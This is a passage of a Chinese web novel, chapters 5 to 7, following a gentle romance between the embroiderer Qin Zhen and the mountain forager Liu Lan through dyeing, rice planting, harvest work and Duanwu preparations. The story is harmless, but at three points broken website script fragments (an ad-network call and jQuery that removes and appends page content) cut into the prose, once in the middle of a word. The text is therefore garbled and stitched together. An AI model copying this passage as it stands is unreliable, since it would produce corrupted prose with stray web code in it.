“我也瞧见过,确实亮眼些。” 李青竹得意地笑道:“我顺手多拿了一块,刚好两个色都试试看。”虽说其中一块是为秦蓁准备的,可染出来后自己能过过眼也是好的。 有几个同样带了两块,自然也选择染两个色,其他人则烦恼该如何抉择。 不过最后多数人决定染碧色,毕竟白矾难得,若不是家里有需要,一般也不会花钱去买。 时间在嘻嘻闹闹中过去,秦蓁看日头,估摸着时辰差不多了,便提醒她们去准备媒染剂。 染上姜黄的布料拧干,分别放入两个装有媒染剂的木盆里,一炷香过后,一盆仍是淡淡的姜黄布料,另一盆则转变成碧绿色。 接近正午,布料在日光的晾晒下逐渐干燥,每个人找到自己的手帕,随后同旁人比对。 其实差别不大,只是得了新手帕,忍不住想同玩伴说道说道。 李青竹赏着大家一起染出的碧色,一时欣喜不已,可再舍不得,她也还是将那方帕子递给了秦蓁。 “秦姐姐,这帕子可真好看,我记得你有一身衣裳,配上这个正好。” 秦蓁听懂了她的言下之意,却并不接,“打扫得很干净,我扣你帕子作甚?再说了,我帕子够用,你自己留着便是。” 李青竹也不强求,笑着收起帕子,心里则想着:等外祖父家桃子熟了,到时她多摘些给秦姐姐送来。 姑娘们带着欢声笑语各自回家,秦蓁在门口目送她们远去,正准备转身回屋,恰巧碰见刚下山的柳岚。 烈日当空,走了许久的山路,想来多半有些口渴,秦蓁当即去堂屋拎了茶壶过来。 她泡了忍冬花,晾凉后喝着会舒爽些。 “柳岚。”秦蓁喊道,“过来喝口茶歇歇。” 柳岚方才见秦蓁进屋,还以为她不愿被人知晓两人如今的关系,毕竟离人群不远,万一有谁回身就会被发现。心中的失落才刚刚升起,在看到秦蓁的一瞬间骤然消散。 柳岚快步走到秦蓁身前,接过那一碗已经倒好的茶水。 “热不热?” 明明自己满头大汗,还反过来问她,秦蓁不觉好笑,却隐隐腾起一阵酸涩感。“不热。手帕呢?擦擦汗。” 今日闷热些,柳岚的帕子放在胸前早已被汗湿,但他不想在秦蓁面前留下邋遢的印象,只得装傻充愣,垂眸又喝了口茶水。 秦蓁大概猜出了什么,便回屋寻了块素净的帕子,左右还没下针,别人也瞧不出什么,不算逾越。 “今天走远了些?” 柳岚接过帕子还舍不得擦,怕惹秦蓁不快,顿了几息才擦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拭。“去的另一边取蜜,不小心绕远了。” “下次留心,累不累?你早些回去歇息。” “好。”柳岚确实疲惫,前些日子采蜜时见巢蜜充足,便多拿了个罐子,以期能有额外收获,绕了远路后又备背着沉甸甸的背筐走了许久的山路,天热,再健壮的汉子也难免遭受不住。 因此,夏天的正午即便是勤勤恳恳的老农也会回家歇息,待到过了最热的时候才继续劳作。否则撂了活事小,人出了事就事大了。 柳岚喝水缓了会,现下头脑清明许多,他抬脚准备离开,突然想到什么,又回过身来朝秦蓁道:“这次……没摘花。” 秦蓁不由得恼他:“人都快热坏了,还想着摘花做甚?不送花儿难道还能少你一口茶水?” 柳岚自知说了蠢话,只得受着。 高大的汉子眉目清俊,若是将衣裤换成长衫,说他是书院里的书生也说得,只是此时热得汗流不止,日辉下的笑容显出一丝憨态。 秦蓁念着他还未吃饭,将人赶了回去。 —— 开着白花黄蕊的蓬草一丛接一丛,无人打理的荒地里铺满了大片,引得群蝶在一旁翩翩起舞。 着了淡墨的阴云遮盖住烈日,偶有清风拂来带走燥热。 秦蓁戴着草帽,走在夯实好的田埂上。 刚开始独自生活时秦蓁对前路充满了迷茫,同周家人商议后在村子里置办了两亩水田和两亩旱田,特地挑选的良田,产量不会太低,至少足够秦蓁一个人过活。 由于秦蓁不善农活,田地买回来后自然是租给旁人,她只需按时收租。 租地的佃户是秦蓁的邻居,前些年一家七口人靠着五亩薄田度日,近两年终于松了口气。 村子周边大大小小的地主最低收五成租子,秦蓁不提供农具和其他零碎,因此按三成收租。余下的七成除去上缴的部分,足够让一家人过得松快些。 作为邻里,赵家偶尔也会送些自家吃不完的菜过来,野菜多发时会提一篮子问要不要尝尝,尽管在他们看来,新邻居一家像是去镇上才能碰见的“贵人”,但这暗藏的鸿沟却阻拦不住乡亲之间朴实的热情。 一来二往,两家的关系自然更密切些。 秦蓁了解赵家的情况,置办田地后便询问他们是否考虑租地,结果显而易见,两家人都从中获益。 赵家大儿媳田夏离得近,一抬头便见着秦蓁提了篮子过来。 “秦姑娘怎么过来了?田里蚊虫多,当心挨咬。”田夏插好手里剩的几株秧苗,草草洗了手后抬脚上岸。 秦蓁手脚护得严实,还戴了驱蚊虫的香囊,因此不必过于担忧。 “不碍事,小夏嫂嫂,我熬了朱梅茶饮,带过来给你们解解暑。”晾凉后秦蓁在水井里吊了两个多时辰,可惜一路过来已经不剩多少凉意了。 田夏欣喜不已,虽说他们出门干活会自带茶水,可晒了好些时辰,入口早已不似清晨时凉爽,而且朱梅茶饮酸甜可口,集市上便宜卖也要四文钱一碗,秦蓁这份心意属实难得。 “多谢秦姑娘了,我记得你家婶子喜爱梅子酒?下次回娘家我帮你带上两坛。” “那可真是麻烦你了,不过带一坛便足够,喝多了伤身。” 田夏应着,把这事记在了心里。 5. 第5章 一亩地看似不大,但即使是老把式也得从早到晚忙上一天才能干完。 赵家三个壮劳力,再加上赵婶子吴芳和两个儿媳,忙到下午时分应当差不多。 时节不等人,靠天吃饭的农户只得紧赶慢赶。 因秦蓁这亩是良田,育苗插秧都先在这块,自家田里晚点倒是不打紧,只要苗好,后边无非就是多费些心神,苗不壮实,再费心费力也得不到好收成。 一把一把用稻草捆扎好的秧苗抛落在水田各处,犁好的秧线在水下条条分明,栽秧的人只需沿着秧线,便能将稻株种得齐整,以求稻苗在方寸之间长势良好,来日有好收成。 赵家其他人只在原地遥遥招呼一声,便继续忙活去了,秦蓁不过多打扰,同田夏叮嘱趁早把茶饮喝完后慢步回家。 目前同秦蓁签订契书的只有几户人家,交完一契后能空出一段时间歇息,但秦蓁不愿过于懒散以至于意志消磨,于是前几日刚开始构思,继而着手准备绣线等物。 秦蓁习惯绣一小会后停针护目,左右也是来回晃荡,不如琢磨琢磨熬个茶饮。 近来气候炎热,暑气渐起,秦家周围有树木遮蔽,像落了道屏障,只余屋内的凉爽。 秦蓁到了夏日鲜少外出,倒是不觉燥热,不过柳岚在山野田地间到处奔走,忙活下来衣裳尽湿。 秦蓁没什么好法子,只能在他路过门口时送一壶沁凉的茶饮解暑。 恰好李成玉昨个从外祖家带了些朱梅给她,有小半个篮子,秦蓁一个人吃不了太多,又不愿拂了人家的好意,便匀出一半同柳岚分食,剩下的则准备每日做一次朱梅茶饮。 秦蓁家中没有常备甘草、陈皮等物,不过她寻到了一罐霜糖,将其与朱梅简单熬煮后,得出的味道竟不比茶饮铺子逊色。 熬煮的第一锅柳岚已经尝过,多数汉子不喜甜食,他对这酸甜的茶饮却格外钟爱。 可惜柳岚有两亩地尚待插秧,明后三日都不得空闲。 两人一个在东边,一个在西边,田地也隔了大半个村子,否则秦蓁还能帮他送送茶水。 柳岚家有两亩水田和两亩旱田,是从他爹手上传下来的。 柳岚六岁时,他娘跟着行商跑了,还拿了柳岚爹好不容易攒下的五两银子束脩,自此,柳岚爹萎靡不振,终日酗酒。可到底没失了理智,照旧干着山货郎的行当,田里也没荒废,只是整个人抽了精神气,宛若游魂。 直到有一天,十四岁的柳岚在涨水的河道旁见着他爹最后一面。 没了娘,小柳岚的日子好似没什么变化,不过是吃饭睡觉,醒后周而复始。只是他渐渐学会了洗衣做饭,懵懂的眸子在同龄人骂他是野孩子时会生出其他人不曾有的怨气。 没了爹,柳岚的日子还是没什么变化,往日装山货的背篓背在了他的身上,小时的野孩子换成没爹没娘的可怜孩子,但柳岚已经不会在意了。没什么好可怜的,他个有手有脚的半大小子,总不至于饿死。 年轻汉子手脚利索,一天往往能插一亩秧苗,只是柳岚同他大伯家亲近,自家忙完后会过去帮衬一二。 大伯家有旱田水田各七亩,由于堂哥柳文轩考取了秀才,免收六十亩田税,因此一家五口过得还算舒坦。 算上柳岚的四亩地,余下的名额则由族里安排。 柳文轩如今在镇上的书院任教书先生,正值休沐,另加告假的时日,恰好能赶上节令。 兄弟俩并排而行,多日未见,难免挂念。 只见柳文轩凑近问道:“阿岚,最近可是有心仪的姑娘?” 柳岚抬头看了他一眼,并不接话。 “欸,我没唬你,你可没种黄花菜,面里放的葱花还是从家里移回去的。娘都跟我说了,不过她不方便过问,让我来探探口风。” 两人关系好,没什么不能说的,柳岚回道:“是有。前些日子的事,别声张。” 柳文轩见他嘴角不自觉扬起的笑,也不戳破,只是道:“还不放心你哥?我只同你嫂嫂说道。” 自家人嘴严,都盼着他娶个好媳妇扬眉吐气呢。 —— 柳岚并不知晓大伯一家的隐忧。 大雨连下了两天,溪河水面上涨,混着黄泥的河水愈发混浊,但是山中的小溪水色清亮,偶尔还能从白浪中看到游鱼乌黑的背脊。 柳岚记得有条野溪盛产鲫鱼,那里水流平缓,水草繁茂,即使是暴雨如注,也不会有太大的影响。 他去年捞过不少,趁近来清闲,打算给秦蓁多捞几条。 毕竟麦子收获在即,往后的日子可有得忙了。 …… 秦家门口的敲门声响起了两次,柳岚见没人应,心中有些疑惑。 院门打开一般是昭示有人在家,这边安静,敲门声足以传至后院。 柳岚在门口踌躇,想起自己的狼狈样,又试探着用力敲了敲。 “谁在外边?稍等。” “秦姑娘,不着急,慢些。”柳岚听着扬起的嗓音,猜测秦姑娘应该在忙,他顺路送鱼,也不是什么大事。 秦蓁落下最后一针,匆匆做好记号便踏出房门。 柳岚没有进门,卸下的背篓也放在门外。他袖子和裤脚挽起,腿弯处的布料能看清浸湿的水痕。 “这是做什么去了?”秦蓁问道。 柳岚提过鱼篓给她看,“捞了一篓鲫鱼,带过来给你尝尝。” 摸鱼捉虾一般是半大少年才会干的事,村里人想吃鱼都是下网去捞,少有人愿意费心劳神做这吃力不讨好的事。 而且今日不顺,忙活半天才用网兜捞到半篓子。柳岚怕秦姑娘觉得他不稳重,一时有些紧张。 秦蓁没在意这些,鱼刚从水里捞出不久,还活蹦乱跳的,有几条大些,秦蓁总担心它会跳出来。 鱼浑身滑腻,闻起来还腥,秦蓁不大喜欢碰这玩意儿,不过柳岚捞的这些格外生活,倒别有一番趣味。 “你下水捞的?” 柳岚点点头。 秦蓁一看他局促的样子不觉有些趣乐,笑意顿时爬上眉梢。 高大的汉子视线一直落在她身上,见她笑,自己也跟着扬唇。 秦蓁看了鱼篓一眼,可惜道:“你带回去自己吃罢,我不会弄。” “我去处理。” 见柳岚准备拿条大的,秦蓁赶忙拒绝:“不用不用,太麻烦了,我不过一人,吃不完可惜了。” 柳岚又从中挑了两条小的,“一小碗鱼汤可喝得下?” 两条小鱼连汉子的手掌都放不满,秦蓁抿唇,迟疑着点头。 一顿应该正正好,不用再另做盘菜。 “刀拿来,我去河边破鱼,免得脏了院子。” 秦家院落打扫得干干净净,不论是菜地还是爬了葡萄藤的井边,连根杂草都无。 柳岚的话虽无意,秦蓁却发觉他从未踏进过院门,平常只在门口逗留。 秦蓁一时百感交集,可她放不下心底的那道防线,只得回身去拿刀。 柳岚握着两条鱼准备去河边处理,秦蓁跟在后头,他却拿手肘将人轻轻推了回去。 “河边湿滑,你在家就好。” 两条小鱼费不了多少事,不过片刻,柳岚便处理好了。他见秦蓁脚边有一盆清水,当即把鱼放进去清洗。 秦蓁话还来不及说,见他动作,急忙“哎”了声。 “怎么了? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 女子无奈道:“那是备着给你洗手的,鱼放碗里便是。” 柳岚低头往旁边看去,这才发现摆好的碗和皂角。 他愣了下,“无妨,左右还得再碰,我拿几条放盆里养着,到时再过来破鱼。” “能养活?”秦蓁还从未接触过,并不清楚,秦蓁爹爹带回家的鱼都是已经破好的,不会让她们母女见到一丝血腥。 “养个两三天自然没问题。” “那好。” 柳岚收拾好东西,起身朝秦蓁道:“那我回去了。” 秦蓁想开口说些什么,但没找到由头,只得作罢。 —— 米白的枣花渐渐从枝头掉落,不经意间已经结出豆大的果。 秦蓁种的青瓜在打花,有些花后边还接了短短的一截,长势喜人。 绿叶间藏着的紫色小花也稳挂在藤蔓上,茂盛的菜园已初具规模。 女子身着一袭碧落长裙在小院里漫步,估摸着时辰到了,便回了绣房。 说绣房也不尽然,只是在秦蓁住的东厢房用屏风隔了一道,腾出一片专做绣活的场地。 绣架摆放在宽阔的正中间,不远处的小桌上几支白玉兰亭亭而立。 秦蓁今日心思不定,绣几针便忍不住瞧上一眼。 花是早晨开门时发现的,篮子依旧放在熟悉的门口角落,女子心下了然,当即粲然一笑,可惜另一位主人公并不在现场。 柳岚前几日说过,要去山里捡菌子,是难得的竹参和鸡枞,秦蓁不重口腹之欲,但也知晓有名的山珍。 这两者秦蓁皆有耳闻,一斤往往能卖上十两以上的价格。 她不懂价高的缘由,也不知晓为何难得,但柳岚要爬过三个山头才能到达有竹参的那片林子,因此午食是在山里吃的。采完菌子要立马送到镇上,连晚食都不得闲。 这大概就是常说的得失吧,秦蓁想着。 考虑到路途不便,秦蓁决定蒸些馒头。她做包子的手艺不好,试过几次后便不再动手了,省得浪费。 一上午的时光飞速而逝,秦蓁细看自己的成果,对此较为满意。 她在灶房的橱柜里找出放白面的陶罐,准备揉面做馒头。 秦家一直以来都是吃白米或是精米,杂粮存储的不多,只偶尔煮上一两回。因此秦蓁依旧保留着这个习惯,左右她只有一个人,一年下来也费不了多少米,再说她挣得比寻常人家多,自是不会有这方面的烦恼。 柳岚的脚步比寻常快了许多,他个子高,跨两步抵得上一般人走三步,本来顾不上在秦家停留,却发现秦蓁早已在门口等着。 “怎么了?” 秦蓁将放了馒头的篮子塞到柳岚手里,她用油纸包好后又拿布裹了一层,既不会散开,也不用怕被沾湿。 “今天刚蒸的馒头,你带上,别饿着了。”怕他推拒,秦蓁便赶人,“赶紧拿着,早些回家。” 柳岚征征地望着她,一时忘了言语。 秦蓁不知发生了什么,轻声问道:“不是赶着去镇上?” 男子回过神来,“对。” 他胸腔中涌起一丝别样的情绪,身侧的手指微动,但最终还是按捺住了。 …… 在夏日的余晖里,一辆驴车缓缓驶在回村的路上,原本装着菌子的背筐摇身一变,成了沉甸甸的银子的护卫。 柳岚脸上的喜意藏不住,缓了一路也还是会在不经意间流露出来。 身侧的篮子空下一半,要不是舍不得,剩下的那些其实也能吃下,毕竟是年轻的汉子,奔波了一天很是疲累,胃口自然也大。 想起仙一般的姑娘,柳岚浑身充满了干劲。 6. 第6章 朦胧的薄纱笼罩着清晨的村庄,午时炎热,农户往往需要尽早起床劳作,以期在凉爽时多干些活,避免在烈日下暴晒。 山野间不知哪处传来几声蛙鸣,不待人听清便沉寂了下去,可另一处也接着响起,却依旧找不着方位。 闲散几只倒有几番趣味,若是热闹起来,此起彼伏,那才让人头疼。 夜色暂未完全散去,但在虫鸣、蛙鸣和鸟鸣的乐曲声中,村子渐渐苏醒。 同路的人们相互打着招呼,边走边聊田地里的庄稼和从外边听到的消息。 与扛着农具的人群不同,提前出门的柳岚只带了一把柴刀,并朝着村子的另一边而去。 草丛中的露水打湿了衣裳,柳岚丝毫不在意,只惦记着刚割断的花好不好看。 将一路收集的花捆扎在一起,又拿干净的大叶片垫在秦家门口的角落里,柳岚放好花束后满意离去。 明日高悬在湛蓝的天空,肩挑一担柴的汉子迈着稳健的步伐下山,柴禾扎实,是耐烧的实木,一担约有百斤,足够一人俭省着用上一个月。 不过按照往年的气候来看,过段时间多是连绵的雨天,还是多备些柴火为好。 柳岚擦去满头的热汗,看着一捆捆码好的柴火心下稍安。 他走到秦家门口,正好碰上准备出门的秦蓁。 “秦姑娘。” 秦蓁脚步一停,她笑道:“今日怎么晚了些?” 柳岚多在巳时末下山回家,现在已经午时过半了。 “多砍了两担柴,没注意时辰。” 柳岚望着秦蓁的目光里满是热忱,她不明所以,只觉着这天似乎更热了些。 秦蓁想起在井里镇好的绿豆汤,朝柳岚说道:“煮了绿豆汤,你喝一碗解解暑。” “不了,我先把柴挑进来,等会再歇。”说完,柳岚便察觉到自己的话不妥,于是小心翼翼地问道:“方便进来吗?” 秦蓁心中的酸涩顿时顺着经脉扩散开来,她圆润的指甲掐进掌心,对自己过于提防的行为感到惭愧,“当然方便,进来就是。” 柳岚放下心来,转身去外面挑柴。 柴房门敞开着,等待新一批的柴火填充。 想着应该能很快忙完,秦蓁便先把绿豆汤提出来,又拿了三个馒头准备给柳岚垫垫胃。 却见汉子搬完一趟后步伐不停,继续朝门口走去。 秦蓁疑惑,便跟着出去看了一眼。 只见东边的墙根脚下摆了上十捆柴。 她一时被惊住,除了爹爹,秦蓁从未见过其他人能打这么多柴,连周叔都没有,没想到柳岚不如她爹魁梧,气力和耐性倒是不输他人。 “怎么不把驴车牵来?搬这么些回家得费不少功夫。” 柳岚回头看她,“不用搬回家。” 秦蓁半晌才反应过来,柳岚家同样在村尾的山脚处,想要打柴根本不必来这边多此一举,既然如此,那便只有一个解释了。 “这……这不妥,你挑一担我已经很感谢了,再多的我受之有愧,你还是运回去吧……” 柳岚的劲头落了几分,不过他早已猜到秦蓁的态度,因此将准备好的话语缓慢说出:“我心悦你,我所做的一切都是自愿的,你不必心生愧疚,或者,”柳岚暗中定了定神,继续道:“或者你当做咱们提前相看,成吗?” 相看时男女双方都会有长辈在场,除了让对方满意,长辈的态度也至关重要,因此男方干再多的活计也不为过,只是相看大多为了走个场面,不会刻意刁难。 在秦蓁以往的生活里,人情往来是很平常的事,但她深知金钱易得,人情难还的道理,是以她与人交往时常会厘清每一次的利益得失,以期不亏欠任何人。 爹爹教她顺心而为,娘亲则教她绣法与处世之道,而在乡亲的帮助下她学会了劳作,通过书卷知晓夫妻间该相敬如宾,却唯独对情爱一知半解。 是像爹娘那般?但这种事对每一个人来说都应当是不同的,不能囫囵搬来照做。 就目前而言,柳岚是她最为满意的夫婿人选,若是两人之间终归会产生情感,和他培养倒也不难接受。 秦蓁思绪纷乱,站在原地有些不知所措。 柳岚看出她的不自在,温声道:“秦姑娘,能帮忙倒杯水吗?出门忘带竹筒了。” “……好。”秦蓁应声,连忙进屋去取。 男子敛下眼帘,继续将剩下的柴火搬完。 夏日的夜晚吞噬了暑热,明明是极好的入睡条件,秦蓁却翻来覆去并无睡意。 柳岚的话语时不时在她耳边响起,心悦一词让秦蓁不知以后该如何面对他。 那群小姑娘来她这里做绣活时常会提及情感一事,按她们所说,当见到对方时若是心生喜悦,时时刻刻想着对方,那多半是钟意之情。 秦蓁默默回想着与柳岚相处的点滴,好似见到他时确实会欣喜,闲暇之余也不再琢磨该如何下针,又应用什么绣法,而是思索下次为他准备些什么…… 这,算是心悦对方吗? 秦蓁想不清楚,最终决定顺其自然,按两人最舒适的方式接触便好。 —— 太阳明晃晃的悬挂在高空之上,吹来的热风像是携了几缕秋意,将灌浆的麦子拂至金黄。 要割麦了,一家老小只要能走动,都会到田间地头尽自己的一份力。 汉子和妇人手脚利索,镰刀一茬割一茬,大点的孩子帮忙捆扎,省得散落一地不便搬运,老人则带着小孩跟在后头,拾捡遗落的麦穗。 眼下可顾不上歇息,得趁天气好早早收麦晾晒,否则沾了雨水麦子发芽,下半年得勒紧裤腰带过日子。 一年忙忙碌碌,可就盼望着这点东西了,半点马虎不得。 堪堪过了午时,提前回家的妇人或是姑娘背着午食来到地里,招呼一家人过来吃饭。 怕来不及,每家每户多是清早起来备好东西,等中午一回家就能做好。 柳姓在村子里占了大半,分的田地周围也都是叔伯兄弟,柳岚家的便紧挨着他大伯家。 大伯娘于红英牵着孙子匆匆赶来。 “他爹,歇会!文轩,月月过来吃饭!”于红英卸下筐子,叮嘱孙子在原地等着,又到隔壁地里招呼柳岚。 一家人不说两家话,柳岚只有一个人,农忙时要跟老天爷争抢,哪里得空弄吃食?寻常未订亲的汉子多是托亲戚帮忙做些好填肚子的杂粮馒头,而柳岚有大伯一家照顾,会和他们一同吃饭。 于红英正在分晾好的白粥,她递给柳岚,提醒道:“留点肚子,你小舅上午送了些桃子过来,头茬呢,味道比去年的好。” 劳作了一上午,出了大力气的汉子早已饥肠辘辘,几口吞下一个馒头后,柳岚想到什么,问道:“伯娘,小舅送了多少?” 于红英一听就知道他想做什么,“多着呢!你把这一篮子送过去。” “不用不用,我捎几个过去就行。”念头一起,柳岚便坐不住了,馒头混着白粥匆匆往嘴里塞。 柳文轩在一旁接腔:“阿岚,捎几个也太寒碜了,都拿上,家里想吃了再去小舅家摘。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >谭月则搂着儿子在他耳边嘀咕。 柳朗星反应了一会,乖乖点头,凑到柳岚耳边小声道:“小叔,我娘说让你早点把小婶带回家。” 柳岚看向堂哥堂嫂,不免有些难为情,可一想到秦姑娘,便忍不住欢喜,他将最后一个馒头咽下,犹豫着是否要现在去。 柳望山出声道:“去吧。” 弱冠之龄的汉子立马跟毛头小子似的冲了出去。 于红英在后边追着喊:“诶!慢些!刚吃完饭!” 可惜满腔热血的柳岚早已跑到了远处。 旁边不知内情的同族问了几句,于红英知道两人还没到那地步,怕说多了惹是非,便糊弄了过去。 大家伙忙着收麦子,少有人在家,柳岚便懒得遮掩,径直朝秦家奔去。 秦蓁刚将碗筷刷洗完,正在葡萄架底下踱步消食。 小院里没种别的树木,只有水井旁边栽的葡萄藤郁郁葱葱,把整个架子铺盖了几层,少有日光能漏下来。 青涩的果实一串接着一串,直让人期待丰收的喜悦。 敲门声在院中响起,秦蓁抬眸,只见柳岚扶着门框微微喘息,双眼看过来时比夜晚的星子还要亮。 帕子估计不顶用了,他就着袖子把脸上的汗水擦净,眉宇间满是情谊,不过他还是克制着自己不要越界。 上次进门搬柴火实属是他头脑发热的冲动之举,单顾着给秦姑娘准备柴火,却忘了不和礼法,幸好秦姑娘没有过多计较,否则他日后得多费好些功夫。 “柳岚?怎么过来了?” 当初秦叔朗为了徐清媛的那句“静坐檐下听雨声”,特地在建房时将屋檐往外拓宽了几尺。 挖井后考虑到要搭架子,菜地与柴房之间隔得不远,索性把整片地方都用上,又在檐下放上矮桌和竹椅,如此一来,夏日听雨时便不至于淋湿鞋袜。 原本坐在檐下的秦蓁脸上露出笑意,她从竹椅上起身,示意柳岚在门外稍等片刻,自己则回屋拿东西。 柳岚本想送完东西直接回地里,不料秦姑娘的态度比之先前亲近了不少,当即觉得晚点回去也无妨。 篮子之前在地上放过,沾了少量尘土,连提手上也沾了些,柳岚怕脏了秦姑娘的手,便用自己尚且干净的小片衣料擦了擦。 那天放柴时他不敢多看,但也大致知晓院里的布局,自然有注意到为秦蓁遮蔽烈日的葡萄藤。 葡萄果肉受人喜爱,可由于难以获得并种植不易,寻常人家鲜少能见到其身影。 不过柳岚多次去镇上的府邸卖山货,倒是见过几株,倘若秦姑娘实在是喜欢,或许来年也可以在院中栽上一株。 不多时,秦蓁带着木盆和布巾来到井边。 木盆和布巾都是先前买来备用的,放在储物柜里不曾动过,好在不脏,稍微清洗一番即可使用。 “今日不想你会过来,没准备解暑的吃食,不过井水凉快,你把脸上和脖颈处擦擦,能爽利些。” 井上安装了辘轳,倒是不怎么费劲。 柳岚在门外想动又不敢动,只能看着秦蓁动作麻利地将水提上来。 秦蓁将木盆放在柳岚身前的空地上,说道:“你先擦拭,我去灶房将晾好的茶水提过来。” “好。” 柳岚生怕自己之前的话语过于唐突,引得秦姑娘打消同他往来的念头,哪曾想心上人不仅没有拒接他,好似还同他一样有进一步的心思。 他拧干带有凉意的布巾,慢慢擦拭着颈部和脸颊,那有些粗糙的手掌心里却在不觉间印上了几弯月牙。 7. 第7章 路边的草丛里到处分布着低矮的车前草,同样星星点点散落着的还有金簪草,长老的金簪草已经褪去了华丽的外衣,只余毛茸茸的装扮,风一吹,便飘向四面八方去寻找落脚的地方。 井水沁凉,稍微歇息后再擦拭,果真凉快不少。 可惜柳岚不能逗留太久,他提起篮子给秦蓁看:“这是我伯娘家送的桃子,味道不错,你尝尝。” “好,我收下了。”一篮子量显然太多,秦蓁一个人根本吃不完,但她这次没有客气,欣然接下。 她知道柳岚还得赶着去收麦子,也不耽搁他,“我托人带了几坛梅子酒,想来这几天你不得闲,等空闲了记得过来拿。” 他们这边果树不多,会酿酒的人也少,除了过节,平常连个酒味都闻不到。 柳岚自己不喜饮酒,但果子酒浅尝几口还是可以的,而且伯娘和堂嫂应当会欢喜。 他应了一声好,心里记挂着收麦的事,动作间却磨磨蹭蹭。 秦蓁不知他的心思,试探着问道:“是需要我帮忙送茶水吗?” 秦蓁在村里生活了这么些年,自然知晓农忙时会是怎样的状况,各家各户的田地有多有少,同族之间往往会相互帮衬,若是实在忙不过来,订了亲的人家也会过来搭把手。 虽然两人尚未订亲,但依照秦蓁对双方的考量,倘若没有其他事情的干扰,结亲不过是水到渠成的事。 只是目前而言有些唐突,她猜测这应当是柳岚不愿开口的原因,不过对于村里大部分人来说,秦蓁确实是最“清闲”的人了。 “当然不是!”柳岚惊呼,半点太阳柳岚都舍不得让秦姑娘去晒,又怎么可能会要她去送茶水? 怕人误会,即使是难为情,柳岚也还是大着胆子解释道:“这几天忙着收麦,少有时间同秦姑娘相处,我刚刚只是……只是不舍罢了。没有想让秦姑娘帮忙的意思。” 原来是自己会错了意。秦蓁暗自懊恼,心中不舒坦的情绪却悄悄散去。她安慰道:“时日还长,总归会有闲暇。” 见秦蓁没有不满,柳岚这才放下心来,顶着烈日回地里继续劳作。 柳望山一家也不多问,时机到了自会知晓。 割麦只是序章,余下的辗麦、晾晒等活最为费时费力。 自家有晒谷场的还好,若是院子小的,得去村头的晒谷场看什么时辰能轮到自己。 柳家有一头壮年牛和柳岚的毛驴,倒是比别家轻松些。 三个汉子再加上两头牲畜,不过两天时间便把几亩田的麦子脱了粒。趁着日头大,麦粒一堆堆摊开在晒谷场里,哪怕是夜里也不得闲,需有人守着,一察觉到下雨就叫醒其他人将麦子收进屋。 柳望山和于红英守白天,柳岚和柳文轩兄弟两便守晚上,闲着也无事,柳文轩朝柳岚问道:“阿岚,有没有给你那心上人送过头花?” 柳岚本不想搭理,念及他哥已经成亲几年,只好开口:“并未,不是只能送吃食吗?”顶多再送些山花,这还是他走街串巷时偶然听到的。 柳文轩叹气,他的老实弟弟果然不会变通。“头花这类无伤大雅,新奇的小玩意也可以,想当年我便是这般讨到你阿嫂欢心的,现下传授给你,早日把人家娶回家。” 柳岚依言点头,心里则在思索该送什么东西。 —— 农忙开启了五月,再过两天便是端午,秦蓁停下手头的绣活,坐上牛车前往附近香火旺盛的景宁寺。 寺庙坐落在半山腰,山脚下不远处则是由各路商贩汇集而成的集市。 秦蓁从人群中穿过,径直朝蜿蜒而上的山路而去。她来过多次,早已轻车熟路。 今日并非大集,人却照旧不少,只是鱼龙混杂,时不时传来争吵声。 秦蓁穿着最寻常的葛布衣裤,发间也只余一支木簪,同来往的年轻女子无甚区别,但容貌上乘,难免会引来一些注视。 她目不斜视,悄悄握紧了袖中藏好的匕首,另外身侧挎着的篮子里还有两把剪子,这些物什给了秦蓁底气,不过再如何也比不上家里,因此只能尽快办好事情回家。 青色的石阶约有半丈宽,可容四五人并排行走,零零散散的路人在山峦的衬托下毫不起眼,只是默默前行着朝山上而去。 气候炎热,好在行云遮挡住烈日,没有那般晒,秦蓁用手帕擦拭额前的汗水,移步到一旁打开竹筒喝水。 忍冬花熬煮出来的茶水清热解暑,她歇息片刻,继续踏上台阶。 高大的古树笼盖住山门,低矮的树枝上则挂满了红色布条,是信奉者的祈愿,但大多求取姻缘。 秦蓁走进殿堂,同往常一般求了平安符,只不过数量上多加了一张。 …… 红日破开云雾,朝霞四散间,秦蓁正乘车去往镇上。 孙良一人即为家,因此过节于他并不特殊,照样架上牛车东奔西走,只是晚些时候会打一壶酒,再配些下酒菜,一人在院子里逍遥自在。 车上只有秦蓁一人乘坐,到达镇上后,她从背篓里拿出一条五彩绳递给孙良:“孙叔,端午安康。” 孙良有些惊讶,他擦干手心里的汗水将其接过,也跟着回了句:“端午安康。” 秦蓁笑了笑,转过身走向她熟悉的小巷。 年纪大的老婆婆坐在门槛上守着自家小辈,怀里的竹匾装着待挑选的绿豆和一个小匾,她挑一会,看一眼玩闹的娃娃,要是娃娃走远了,便喊一声。 大一点的男娃拿艾草作剑或是棍棒,在较为宽阔的巷子里追逐打闹。 秦蓁移步躲开,走了没多久便看到门口翘首以盼的林青娘和探头探脑的周辰。 “蓁蓁!”林青娘随后转头朝门内喊了声,抱起身前的孙子快步走来。 周大石紧跟其后,以往严肃的脸上终于带了点笑。 “青婶,周叔。” 周大石人高马大,步子也迈得宽,眨眼间便走到秦蓁身边帮她提竹筐。 “说了别带东西,带这么多又不让你叔几个去拿。”林青娘嘴上念叨,见秦蓁面色红润,且并未消瘦,隐隐担忧的心才放下。 秦蓁一个人生活了这么久,这点重量对她来说完全能承受得住,“不重,青婶放心,我不勉强自己。” 秦蓁又朝周大石道:“周叔,我订了三坛酒,待会酒坊的伙计会送过来,您可得守好了。” 周大石不敢笑得太显眼,大声应了个“好”便迫不及待往家里走。 还是他家蓁蓁好,当初就该再生个闺女! 今日过节,林青娘懒得计较,况且还是秦蓁送的酒,喝一次倒也无妨。 周辰喊了一连串的姑姑,等大人们“寒暄”完,他才被注意到。 秦蓁从林青娘怀里接过有点重量的男娃娃,“辰辰乖,姑姑带你去吃蜜枣好不好啊?”

